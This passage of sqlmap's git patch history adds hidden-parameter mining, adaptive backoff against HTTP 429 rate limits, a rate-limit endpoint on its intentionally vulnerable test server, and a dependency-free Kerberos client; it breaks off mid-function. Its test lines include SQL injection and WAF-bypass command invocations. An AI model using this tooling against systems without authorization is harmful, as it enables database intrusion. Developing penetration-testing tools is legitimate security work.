500 and not (baseCode is not None and baseCode >= 500): + disruptive.append(name) + else: + safe.append(name) + + if disruptive: + logger.warning("held back parameter(s) that break the base request with a test value (test them explicitly with '-p'): %s" % ", ".join("'%s'" % _ for _ in disruptive)) + + if not safe: + return + + logger.info("adding %d discovered parameter(s) to the test scope: %s" % (len(safe), ", ".join("'%s'" % _ for _ in safe))) + + additions = "&".join("%s=%s" % (name, PROBE_VALUE) for name in safe) + conf.parameters[PLACE.GET] = "%s&%s" % (baseGet, additions) if baseGet else additions + conf.paramDict[PLACE.GET] = paramToDict(PLACE.GET, conf.parameters[PLACE.GET]) + +def mineParameters(): + """ + Discovers hidden (unlinked) GET parameters the target still processes and queues the confirmed + ones for the regular injection tests, using two independent oracles (value reflection and a + behavioral side effect on the response). + """ + + if conf.data or (conf.method and conf.method != HTTPMETHOD.GET): + singleTimeWarnMessage("'--mine-params' currently supports GET parameters only") + return + + baseGet = conf.parameters.get(PLACE.GET) or "" + existing = set(conf.paramDict.get(PLACE.GET) or {}) + candidates = [_ for _ in getFileItems(paths.COMMON_PARAMETERS, unique=True) if _ and _ not in existing] + + if not candidates: + return + + logger.info("mining for hidden GET parameters (%d candidate name(s))" % len(candidates)) + + base, baseCode = _fetch(baseGet) + if not base: + singleTimeWarnMessage("could not obtain a baseline response, skipping parameter mining") + return + + floor = _ratio(base, _fetch(baseGet)[0]) # the target's own between-request jitter + + found = _discover(candidates, baseGet, base, floor) + + for name, reason in found: + logger.info("found hidden parameter '%s' (%s)" % (name, reason)) + + if not found: + logger.info("no hidden parameters found") + return + + _commit(found, baseGet, baseCode) From 2d9e9ed959d2aeb786dc9060f44a19db03531db0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 24 Jul 2026 15:17:05 +0200 Subject: [PATCH 838/853] Implementing support for 429 (rate limit) --- extra/vulnserver/vulnserver.py | 20 ++++++++++++ lib/core/enums.py | 1 + lib/core/settings.py | 13 +++++++- lib/core/testing.py | 1 + lib/request/connect.py | 57 +++++++++++++++++++++++++++++++++- tests/test_brute.py | 6 ++-- 6 files changed, 94 insertions(+), 4 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index e82f3850647..95c1a9da45c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -407,6 +407,10 @@ def _xpath_element_to_dict(el): _server = None _alive = False _csrf_token = None +_ratelimit_hits = 0 + +# number of initial hits to '/ratelimit' answered with 429 before it behaves normally +RATELIMIT_INITIAL_429 = 1 def init(quiet=False): global _conn @@ -963,6 +967,22 @@ def do_REQUEST(self): self.wfile.write(b"Request blocked: security policy violation (WAF)") return + # rate-limit emulator ('/ratelimit'): the first hit(s) answer 429 with a 'Retry-After', then + # it behaves like the default SQLi endpoint - so a client that honors the backoff and retries + # eventually gets through (drives the adaptive rate-limit handling) + if self.url == "/ratelimit": + global _ratelimit_hits + _ratelimit_hits += 1 + if _ratelimit_hits <= RATELIMIT_INITIAL_429: + self.send_response(429) + self.send_header("Retry-After", "0") + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Too Many Requests") + return + self.url = "/" + if self.url == "/xxe": self.send_response(OK) self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING) diff --git a/lib/core/enums.py b/lib/core/enums.py index ced9700a854..7973d48b3f8 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -282,6 +282,7 @@ class HTTP_HEADER(object): RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 + RETRY_AFTER = "Retry-After" SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" diff --git a/lib/core/settings.py b/lib/core/settings.py index d91c207f441..f4abc3823ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.181" +VERSION = "1.10.7.182" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -58,6 +58,17 @@ # false positive) rather than the back-end actually answering. WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) +# HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's +# httplib has no such constant) +TOO_MANY_REQUESTS_HTTP_CODE = 429 + +# Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable +# 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the +# ceiling for both the honored backoff and the auto-throttle (seconds) +RATE_LIMIT_DEFAULT_DELAY = 1.0 +RATE_LIMIT_DELAY_STEP = 0.5 +RATE_LIMIT_MAX_DELAY = 60.0 + # Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value # (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection diff --git a/lib/core/testing.py b/lib/core/testing.py index eaecba780fb..e6d62cfa54e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -67,6 +67,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-u --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id' + ("-u \"ratelimit?id=1\" --flush-session --technique=B", ("target appears to be rate-limiting", "Parameter: id (GET)", "Type: boolean-based blind")), # adaptive rate-limit handling: the endpoint answers 429 with 'Retry-After' first, so detection only succeeds if sqlmap honors the backoff, throttles, and retries rather than treating 429 as a hard block ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/request/connect.py b/lib/request/connect.py index fc23cf99a7b..e3cd05b470a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -6,6 +6,8 @@ """ import binascii +import calendar +import email.utils import inspect import io import logging @@ -119,9 +121,13 @@ from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER +from lib.core.settings import RATE_LIMIT_DEFAULT_DELAY +from lib.core.settings import RATE_LIMIT_DELAY_STEP +from lib.core.settings import RATE_LIMIT_MAX_DELAY from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX +from lib.core.settings import TOO_MANY_REQUESTS_HTTP_CODE from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER @@ -223,6 +229,49 @@ def _retryProxy(**kwargs): kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) + @staticmethod + def _parseRetryAfter(responseHeaders): + """ + Parses a 'Retry-After' response header (RFC 7231 delta-seconds or an HTTP-date) into a number + of seconds to wait, or None when it is absent or unparseable. + """ + + value = (responseHeaders.get(HTTP_HEADER.RETRY_AFTER) if responseHeaders else None) or "" + value = value.strip() + + if value.isdigit(): + return float(value) + + parsed = email.utils.parsedate(value) + return max(0.0, calendar.timegm(parsed) - time.time()) if parsed else None + + @staticmethod + def _rateLimitRetry(responseHeaders, code, **kwargs): + """ + Handles a rate-limited response by honoring its 'Retry-After' (capped), adaptively raising the + inter-request delay so subsequent requests self-throttle under the limit, then re-issuing the + request. Returns the retried (page, headers, code) or None when the retry budget is exhausted, + so the caller can surface the rate-limited response as-is. + """ + + threadData = getCurrentThreadData() + if threadData.retriesCount >= conf.retries or kb.threadException: + return None + + retryAfter = Connect._parseRetryAfter(responseHeaders) + backoff = min(retryAfter if retryAfter is not None else RATE_LIMIT_DEFAULT_DELAY, RATE_LIMIT_MAX_DELAY) + + # additive-increase throttle: nudge the inter-request delay up toward a sustainable pace. The + # auto-throttle is capped, but a larger user-set '--delay' is never lowered. It is monotonic, + # so a lost concurrent update across threads self-heals on the next hit. + conf.delay = max(conf.delay or 0, min(RATE_LIMIT_MAX_DELAY, (conf.delay or 0) + RATE_LIMIT_DELAY_STEP)) + + singleTimeWarnMessage("target appears to be rate-limiting requests; sqlmap is backing off and throttling accordingly (consider raising '--delay' or lowering '--threads')") + logger.debug("rate-limited (HTTP %d)%s; sleeping %.1f second(s), inter-request delay now %.1f second(s)" % (code, " honoring 'Retry-After'" if retryAfter is not None else "", backoff, conf.delay)) + + time.sleep(backoff) + return Connect._retryProxy(**kwargs) + @staticmethod def _connReadProxy(conn): parts = [] @@ -844,7 +893,13 @@ class _(dict): raise SystemExit if ex.code not in (conf.ignoreCode or []): - if ex.code == _http_client.UNAUTHORIZED: + if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None): + retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs) + if retried is not None: + return retried + debugMsg = "target kept rate-limiting after %d retries (%d)" % (conf.retries, code) + logger.debug(debugMsg) + elif ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d). " % code errMsg += "If this is intended, try to rerun by providing " diff --git a/tests/test_brute.py b/tests/test_brute.py index c13395978d5..f85fe4c6c2a 100644 --- a/tests/test_brute.py +++ b/tests/test_brute.py @@ -161,8 +161,10 @@ def test_column_exists_collects_and_types(self): def _cbe(expression, expectingNone=True): calls["n"] += 1 - # initial sanity probe uses two random strings (no real column name) - if "id" not in expression and "name" not in expression: + # initial sanity probe queries a random table, not the real 'users' one - so keying on the + # table name is collision-proof (unlike a column-name substring, which a random probe value + # can incidentally contain, e.g. 'id') + if "users" not in expression: return False # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. # 'id' is numeric (no non-digit chars => probe False => numeric); From 1bd1b457d774a39ccd00e79a1674e1eb59077c0d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 24 Jul 2026 22:26:43 +0200 Subject: [PATCH 839/853] Adding Negotiate/Kerberos authentication (#3404) --- extra/kerberos/__init__.py | 6 + extra/kerberos/aes.py | 174 +++++++++++++++++++ extra/kerberos/client.py | 332 ++++++++++++++++++++++++++++++++++++ extra/kerberos/crypto.py | 256 +++++++++++++++++++++++++++ extra/kerberos/der.py | 142 +++++++++++++++ extra/kerberos/discovery.py | 191 +++++++++++++++++++++ extra/kerberos/spnego.py | 33 ++++ lib/core/enums.py | 1 + lib/core/option.py | 26 ++- lib/core/settings.py | 2 +- lib/request/kerberos.py | 84 +++++++++ tests/test_kerberos.py | 241 ++++++++++++++++++++++++++ 12 files changed, 1479 insertions(+), 9 deletions(-) create mode 100644 extra/kerberos/__init__.py create mode 100644 extra/kerberos/aes.py create mode 100644 extra/kerberos/client.py create mode 100644 extra/kerberos/crypto.py create mode 100644 extra/kerberos/der.py create mode 100644 extra/kerberos/discovery.py create mode 100644 extra/kerberos/spnego.py create mode 100644 lib/request/kerberos.py create mode 100644 tests/test_kerberos.py diff --git a/extra/kerberos/__init__.py b/extra/kerberos/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/extra/kerberos/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/extra/kerberos/aes.py b/extra/kerberos/aes.py new file mode 100644 index 00000000000..2cce2db762b --- /dev/null +++ b/extra/kerberos/aes.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is +# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so +# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197 +# known-answer vectors. Python 2.7 / 3.x. +# +# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column +# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4]. + +def _gmul(a, b): + """Multiplication in GF(2**8) with the AES reduction polynomial 0x11b.""" + + p = 0 + for _ in range(8): + if b & 1: + p ^= a + high = a & 0x80 + a = (a << 1) & 0xff + if high: + a ^= 0x1b + b >>= 1 + return p + +# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform), +# computed rather than transcribed so there is no 256-entry table to get wrong +_EXP = [0] * 256 +_LOG = [0] * 256 +_x = 1 +for _i in range(255): + _EXP[_i] = _x + _LOG[_x] = _i + _x = _gmul(_x, 0x03) + +def _inv(b): + return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255] + +def _rotl8(b, n): + return ((b << n) | (b >> (8 - n))) & 0xff + +SBOX = [] +for _b in range(256): + _v = _inv(_b) + SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63) + +INV_SBOX = [0] * 256 +for _b in range(256): + INV_SBOX[SBOX[_b]] = _b + +RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d] + +def _xor(a, b): + if len(a) != len(b): # equal-length by construction; fail loud (not via assert, which -O strips) + raise ValueError("XOR operands differ in length") + return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b)))) + +class AES(object): + """AES-128/256 block cipher (16-byte block) with a minimal CBC mode.""" + + def __init__(self, key): + key = bytearray(key) + if len(key) not in (16, 32): + raise ValueError("AES key must be 16 or 32 bytes") + self.rounds = 10 if len(key) == 16 else 14 + self._roundKeys = self._expand(key) + + def _expand(self, key): + nk = len(key) // 4 + words = [list(key[4 * i:4 * i + 4]) for i in range(nk)] + for i in range(nk, 4 * (self.rounds + 1)): + temp = list(words[i - 1]) + if i % nk == 0: + temp = temp[1:] + temp[:1] # RotWord + temp = [SBOX[b] for b in temp] # SubWord + temp[0] ^= RCON[i // nk - 1] + elif nk > 6 and i % nk == 4: + temp = [SBOX[b] for b in temp] + words.append([words[i - nk][j] ^ temp[j] for j in range(4)]) + + roundKeys = [] + for r in range(self.rounds + 1): + rk = [] + for c in range(4): + rk.extend(words[4 * r + c]) + roundKeys.append(rk) + return roundKeys + + @staticmethod + def _addRoundKey(state, rk): + for i in range(16): + state[i] ^= rk[i] + + @staticmethod + def _shiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c + r) % 4)] + return out + + @staticmethod + def _invShiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c - r) % 4)] + return out + + @staticmethod + def _mixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3] + out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3] + out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3) + out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2) + return out + + @staticmethod + def _invMixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9) + out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13) + out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11) + out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14) + return out + + def encryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[0]) + for r in range(1, self.rounds): + state = self._mixColumns(self._shiftRows([SBOX[b] for b in state])) + self._addRoundKey(state, self._roundKeys[r]) + state = self._shiftRows([SBOX[b] for b in state]) + self._addRoundKey(state, self._roundKeys[self.rounds]) + return bytes(bytearray(state)) + + def decryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[self.rounds]) + for r in range(self.rounds - 1, 0, -1): + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[r]) + state = self._invMixColumns(state) + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[0]) + return bytes(bytearray(state)) + + def cbcEncrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + prev = self.encryptBlock(_xor(data[i:i + 16], prev)) + out.append(prev) + return b"".join(out) + + def cbcDecrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + block = data[i:i + 16] + out.append(_xor(self.decryptBlock(block), prev)) + prev = block + return b"".join(out) diff --git a/extra/kerberos/client.py b/extra/kerberos/client.py new file mode 100644 index 00000000000..7616575d11d --- /dev/null +++ b/extra/kerberos/client.py @@ -0,0 +1,332 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962 +# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication; +# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing). +# Python 2.7 / 3.x. + +import os +import socket +import struct +import time + +from extra.kerberos import der +from extra.kerberos import spnego +from extra.kerberos.crypto import ENCTYPES + +GSS_CHECKSUM_TYPE = 0x8003 # RFC 4121 section 4.1.1 authenticator checksum +GSS_CHECKSUM_FLAGS = 0 # no GSS context flags requested (no mutual/deleg) +TICKET_LIFETIME_SECONDS = 10 * 3600 # requested 'till' offset (KDC clamps to its max) + +# message types +AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30 + +# principal name types +NT_PRINCIPAL, NT_SRV_INST = 1, 2 + +# PA-DATA types +PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19 + +# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth +KDC_ERR_PREAUTH_REQUIRED = 25 + +# key usages (RFC 4120 section 7.5.1) +USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1 +USAGE_AS_REP_ENCPART = 3 +USAGE_TGS_REQ_AUTH_CKSUM = 6 +USAGE_TGS_REQ_AUTH = 7 +USAGE_TGS_REP_ENCPART = 8 +USAGE_AP_REQ_AUTH = 11 + +PVNO = 5 +DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first) +KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange +MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix) + +def _enctype(etype): + if etype not in ENCTYPES: + raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype) + return ENCTYPES[etype] + +class KerberosError(Exception): + def __init__(self, code, text=None): + Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else "")) + self.code = code + +# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------ +# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be +# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV. +def _fields(sequenceContent): + out = {} + for tag, inner in der.children(sequenceContent): + if 0xA0 <= tag <= 0xBE: # context-specific, constructed [0]..[30] + out[tag - 0xA0] = inner + return out + +def _expInteger(field): + return der.decodeInteger(der.peel(field)[1]) + +def _expString(field): + return der.decodeGeneralString(der.peel(field)[1]) + +def _expOctet(field): + return bytes(der.peel(field)[1]) + +def _expFields(field): + """For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map.""" + + return _fields(der.peel(field)[1]) + +# ---- message building ----------------------------------------------------------------------------- +def _nonce(): + return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff + +def _kerberosTime(offsetSeconds=0): + return time.strftime("%Y%m%d%H%M%SZ", time.gmtime(time.time() + offsetSeconds)) + +def _principalName(nameType, components): + return der.sequence( + der.tagged(0, der.integer(nameType)), + der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])), + ) + +def _encryptedData(etype, cipher, kvno=None): + parts = [der.tagged(0, der.integer(etype))] + if kvno is not None: + parts.append(der.tagged(1, der.integer(kvno))) + parts.append(der.tagged(2, der.octetString(cipher))) + return der.sequence(*parts) + +# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ---------------------- +def _recvExactly(sock, count): + buf = b"" + while len(buf) < count: + chunk = sock.recv(count - len(buf)) + if not chunk: + raise KerberosError(-1, "connection closed by KDC") + buf += chunk + return buf + +def _sendReceive(host, port, request): + sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT) + try: + sock.sendall(struct.pack(">I", len(request)) + request) + length = struct.unpack(">I", _recvExactly(sock, 4))[0] + if length > MAX_KDC_RESPONSE: + raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length) + return _recvExactly(sock, length) + finally: + sock.close() + +def _raiseIfError(message): + tag, content, _ = der.peel(message) + if tag == der.applicationTag(KRB_ERROR): + fields = _fields(der.peel(content)[1]) + raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1, + _expString(fields[11]) if 11 in fields else None) + return tag, content + +def _parseEtypeInfo2(errorFields): + """Extract [(etype, salt, iterations), ...] from a KDC_ERR_PREAUTH_REQUIRED error's PA-ETYPE-INFO2, + telling us which etype/salt/s2kparams the KDC expects for the long-term key.""" + + out = [] + if 12 not in errorFields: # no e-data + return out + try: + methodData = der.peel(errorFields[12])[1] # e-data OCTET STRING -> METHOD-DATA (SEQ OF PA-DATA) + for _, paData in der.children(der.peel(methodData)[1]): + pa = _fields(paData) + if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2: + info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry) + for _, entry in der.children(der.peel(info)[1]): + fields = _fields(entry) + etype = _expInteger(fields[0]) + salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8 + iterations = None + if 2 in fields: + raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES + iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None + out.append((etype, salt, iterations)) + except (KeyError, IndexError, ValueError, struct.error): + del out[:] # malformed hint -> fall back to the default etype/salt + return out + +def _replyEtype(response): + """Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key).""" + + try: + rep = _fields(der.peel(der.peel(response)[1])[1]) + return _expInteger(_expFields(rep[6])[0]) + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _parseRep(response, key, usage, expectedNonce, expectedType): + """Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the + opaque ticket and the freshly issued session key. The two replies are structurally identical. + The reply's application tag MUST match the expected message type, and the nonce carried in the + (integrity-protected) enc-part MUST equal the request nonce (RFC 4120).""" + + try: # any structural defect in a hostile/truncated reply -> KerberosError + tag, repContent = _raiseIfError(response) + if tag != der.applicationTag(expectedType): + raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag) + rep = _fields(der.peel(repContent)[1]) + encData = _expFields(rep[6]) # enc-part (EncryptedData) + repEtype = _expInteger(encData[0]) + try: + encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2])) + except ValueError: # HMAC mismatch -> we hold the wrong long-term key + raise KerberosError(-1, "reply decryption failed (wrong password or salt)") + + # Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2] + encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1]) + if _expInteger(encKdcRep[2]) != expectedNonce: + raise KerberosError(-1, "reply nonce does not match the request (possible replay)") + keyFields = _expFields(encKdcRep[0]) + + return { + "ticket": bytes(rep[5]), + "sessionKey": _expOctet(keyFields[1]), + "sessionKeyType": _expInteger(keyFields[0]), + "etype": repEtype, + "crealm": _expString(rep[3]), + } + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None): + parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))] # kdc-options + if cnameComponents is not None: + parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents))) # cname (AS only) + parts.append(der.tagged(2, der.generalString(realm))) # realm + parts.append(der.tagged(3, _principalName(snameType, snameComponents))) # sname + parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS)))) # till + parts.append(der.tagged(7, der.integer(nonce))) # nonce + parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype + return der.sequence(*parts) + +def _authenticator(crealm, cnameComponents, cksum=None): + parts = [ + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.generalString(crealm)), + der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)), + ] + if cksum is not None: + parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])), + der.tagged(1, der.octetString(cksum[1]))))) + parts.append(der.tagged(4, der.integer(struct.unpack(">I", os.urandom(4))[0] % 1000000))) # cusec + parts.append(der.tagged(5, der.generalizedTime(_kerberosTime()))) # ctime + return der.application(2, der.sequence(*parts)) + +def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"): + return der.application(AP_REQ, der.sequence( + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.integer(AP_REQ)), + der.tagged(2, der.bitString(apOptions)), + der.tagged(3, ticket), # raw Ticket TLV (already [APPLICATION 1]) + der.tagged(4, _encryptedData(etype, encAuthenticator)), + )) + +# ---- AS exchange (password -> TGT) ---------------------------------------------------------------- +def _asReq(realm, username, etypes, nonce, padata=None): + reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username]) + parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))] + if padata is not None: + parts.append(der.tagged(3, der.sequenceOf([padata]))) + parts.append(der.tagged(4, reqBody)) + return der.application(AS_REQ, der.sequence(*parts)) + +def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None): + """Run the AS exchange and return the TGT and its session key. + + Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected + etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals + work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns + {'ticket': , 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str}. + """ + + realm = realm.upper() + chosenSalt = salt if salt is not None else realm + username + + # 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce)) + tag = der.peel(response)[0] + + if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth + etype = _replyEtype(response) # derive the key for the etype the KDC actually used + clientKey = _enctype(etype).string2key(password, chosenSalt) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + + etype, iterations = etypes[0], None + if tag == der.applicationTag(KRB_ERROR): + errorFields = _fields(der.peel(der.peel(response)[1])[1]) + code = _expInteger(errorFields[6]) if 6 in errorFields else -1 + if code != KDC_ERR_PREAUTH_REQUIRED: + raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None) + for advertisedEtype, advertisedSalt, advertisedIters in _parseEtypeInfo2(errorFields): + 